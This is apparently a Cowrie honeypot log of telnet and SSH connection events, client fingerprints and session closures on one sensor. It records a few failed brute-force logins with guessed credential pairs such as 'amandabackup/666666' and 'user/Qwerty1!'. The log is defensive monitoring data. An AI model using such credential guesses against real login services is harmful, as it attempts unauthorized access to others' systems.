{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":43466,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe6ed2134212","protocol":"telnet","message":"New connection: 208.82.116.131:43466 (159.203.135.109:23) [session: fe6ed2134212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:33.479238Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":55412,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed5769400a20","protocol":"telnet","message":"New connection: 159.203.13.64:55412 (10.17.0.5:23) [session: ed5769400a20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:34.881020Z"}
{"eventid":"cowrie.session.closed","duration":34.61059761047363,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:36.695199Z","src_ip":"174.136.57.21","session":"702e1e283b42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.31133818626404,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:41.306147Z","src_ip":"162.253.42.116","session":"66b78644b534","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.86720871925354,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:42.097068Z","src_ip":"162.253.42.116","session":"ab7eb4a85513","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":33032,"dst_ip":"10.17.0.5","dst_port":23,"session":"4202cb2f62ef","protocol":"telnet","message":"New connection: 162.253.42.116:33032 (10.17.0.5:23) [session: 4202cb2f62ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:43.541080Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52354,"dst_ip":"159.203.135.109","dst_port":22,"session":"24ac0fbcca91","protocol":"ssh","message":"New connection: 159.203.92.129:52354 (159.203.135.109:22) [session: 24ac0fbcca91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:44.141335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:44.146719Z","src_ip":"159.203.92.129","session":"24ac0fbcca91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:44.151416Z","src_ip":"159.203.92.129","session":"24ac0fbcca91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amandabackup","password":"333333","message":"login attempt [amandabackup/333333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:44.164254Z","src_ip":"159.203.92.129","session":"24ac0fbcca91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:45.174320Z","src_ip":"159.203.92.129","session":"24ac0fbcca91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.325467348098755,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:47.055750Z","src_ip":"208.82.116.131","session":"fb3ef5789a77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.82465434074402,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:48.105691Z","src_ip":"162.253.42.116","session":"b4a7b63229ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.09167528152466,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:49.956464Z","src_ip":"208.82.116.131","session":"154ed8b988d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.528290033340454,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:51.081086Z","src_ip":"104.248.46.74","session":"fc12dc6fbfc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.136.57.21","src_port":53834,"dst_ip":"10.17.0.5","dst_port":23,"session":"8aa2790049e2","protocol":"telnet","message":"New connection: 174.136.57.21:53834 (10.17.0.5:23) [session: 8aa2790049e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:52.757510Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.136.57.21","src_port":56118,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6d8671c28c8","protocol":"telnet","message":"New connection: 174.136.57.21:56118 (10.17.0.5:23) [session: c6d8671c28c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:53.524194Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":50294,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac3031e4a8af","protocol":"telnet","message":"New connection: 208.82.116.131:50294 (159.203.135.109:23) [session: ac3031e4a8af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:53.753267Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.136.57.21","src_port":57158,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2896ad83f74","protocol":"telnet","message":"New connection: 174.136.57.21:57158 (10.17.0.5:23) [session: f2896ad83f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:53.978322Z"}
{"eventid":"cowrie.session.closed","duration":45.53488826751709,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:54.408027Z","src_ip":"208.82.116.131","session":"d48acc8401a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.10011696815491,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:56.119842Z","src_ip":"208.82.116.131","session":"1842b6518cc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.532778978347778,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:59.285921Z","src_ip":"208.82.116.131","session":"ac3031e4a8af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.29562592506409,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:24:59.619660Z","src_ip":"208.82.116.131","session":"3b77f52e81ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.68664240837097,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:01.380245Z","src_ip":"162.253.42.116","session":"37d4827f6407","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.136.57.21","src_port":43462,"dst_ip":"10.17.0.5","dst_port":23,"session":"82e958c0efdd","protocol":"telnet","message":"New connection: 174.136.57.21:43462 (10.17.0.5:23) [session: 82e958c0efdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:01.938250Z"}
{"eventid":"cowrie.session.closed","duration":35.23250722885132,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:05.541745Z","src_ip":"162.253.42.116","session":"d92d70a0b355","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.74029278755188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:06.621185Z","src_ip":"159.203.13.64","session":"ed5769400a20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":33682,"dst_ip":"10.17.0.5","dst_port":23,"session":"24774d2a4f15","protocol":"telnet","message":"New connection: 162.253.42.116:33682 (10.17.0.5:23) [session: 24774d2a4f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:08.313213Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.215.80.173","src_port":35296,"dst_ip":"159.203.135.109","dst_port":22,"session":"835ae6627bd9","protocol":"ssh","message":"New connection: 103.215.80.173:35296 (159.203.135.109:22) [session: 835ae6627bd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:09.234147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:09.238895Z","src_ip":"103.215.80.173","session":"835ae6627bd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:09.524774Z","src_ip":"103.215.80.173","session":"835ae6627bd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Qwerty1!","message":"login attempt [user/Qwerty1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:10.592048Z","src_ip":"103.215.80.173","session":"835ae6627bd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":36924,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d8c9be30837","protocol":"telnet","message":"New connection: 162.253.42.116:36924 (10.17.0.5:23) [session: 2d8c9be30837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:11.281623Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:11.798114Z","src_ip":"103.215.80.173","session":"835ae6627bd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.36605715751648,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:13.255128Z","src_ip":"208.82.116.131","session":"c0a15640a33b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.900558948516846,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:18.441541Z","src_ip":"162.253.42.116","session":"4202cb2f62ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.60735464096069,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:20.351929Z","src_ip":"208.82.116.131","session":"383433c5be20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.48714590072632,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:20.966256Z","src_ip":"208.82.116.131","session":"fe6ed2134212","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.194.242","src_port":39148,"dst_ip":"10.17.0.5","dst_port":22,"session":"c386c02055d2","protocol":"ssh","message":"New connection: 45.78.194.242:39148 (10.17.0.5:22) [session: c386c02055d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:21.122761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:21.127151Z","src_ip":"45.78.194.242","session":"c386c02055d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.977025508880615,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:21.794303Z","src_ip":"208.82.116.131","session":"e71ab8d5ee1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.77491545677185,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:22.737533Z","src_ip":"208.82.116.131","session":"66343aa46111","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":60244,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3490f9168d0","protocol":"telnet","message":"New connection: 208.82.116.131:60244 (159.203.135.109:23) [session: a3490f9168d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:22.788072Z"}
{"eventid":"cowrie.session.closed","duration":31.145698308944702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:23.903083Z","src_ip":"174.136.57.21","session":"8aa2790049e2","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:24.081238Z","src_ip":"45.78.194.242","session":"c386c02055d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:24.088762Z","src_ip":"45.78.194.242","session":"c386c02055d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":58150,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea1bb372d2d1","protocol":"telnet","message":"New connection: 104.248.46.74:58150 (159.203.135.109:23) [session: ea1bb372d2d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:24.097610Z"}
{"eventid":"cowrie.session.closed","duration":30.57871174812317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:24.102767Z","src_ip":"174.136.57.21","session":"c6d8671c28c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":59154,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e81cc061bb8","protocol":"telnet","message":"New connection: 104.248.46.74:59154 (159.203.135.109:23) [session: 1e81cc061bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:24.881855Z"}
{"eventid":"cowrie.session.closed","duration":31.328689575195312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:25.306900Z","src_ip":"174.136.57.21","session":"f2896ad83f74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":38984,"dst_ip":"10.17.0.5","dst_port":23,"session":"4815da51fa95","protocol":"telnet","message":"New connection: 159.203.13.64:38984 (10.17.0.5:23) [session: 4815da51fa95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:25.639549Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53688,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fd5c47be612","protocol":"ssh","message":"New connection: 159.203.92.129:53688 (159.203.135.109:22) [session: 1fd5c47be612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:26.964732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:26.969490Z","src_ip":"159.203.92.129","session":"1fd5c47be612","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:26.974170Z","src_ip":"159.203.92.129","session":"1fd5c47be612","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amandabackup","password":"666666","message":"login attempt [amandabackup/666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:27.002804Z","src_ip":"159.203.92.129","session":"1fd5c47be612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:28.010069Z","src_ip":"159.203.92.129","session":"1fd5c47be612","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":34252,"dst_ip":"159.203.135.109","dst_port":23,"session":"2075cf41c039","protocol":"telnet","message":"New connection: 208.82.116.131:34252 (159.203.135.109:23) [session: 2075cf41c039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:29.389503Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":34288,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdd4c703fa2f","protocol":"telnet","message":"New connection: 208.82.116.131:34288 (159.203.135.109:23) [session: cdd4c703fa2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:29.606761Z"}
{"eventid":"cowrie.session.closed","duration":31.875319004058838,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:33.813422Z","src_ip":"174.136.57.21","session":"82e958c0efdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.136.57.21","src_port":42802,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3d44eb0292d","protocol":"telnet","message":"New connection: 174.136.57.21:42802 (10.17.0.5:23) [session: e3d44eb0292d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:37.812666Z"}
{"eventid":"cowrie.session.closed","duration":33.928534507751465,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:42.241619Z","src_ip":"162.253.42.116","session":"24774d2a4f15","protocol":"telnet"}
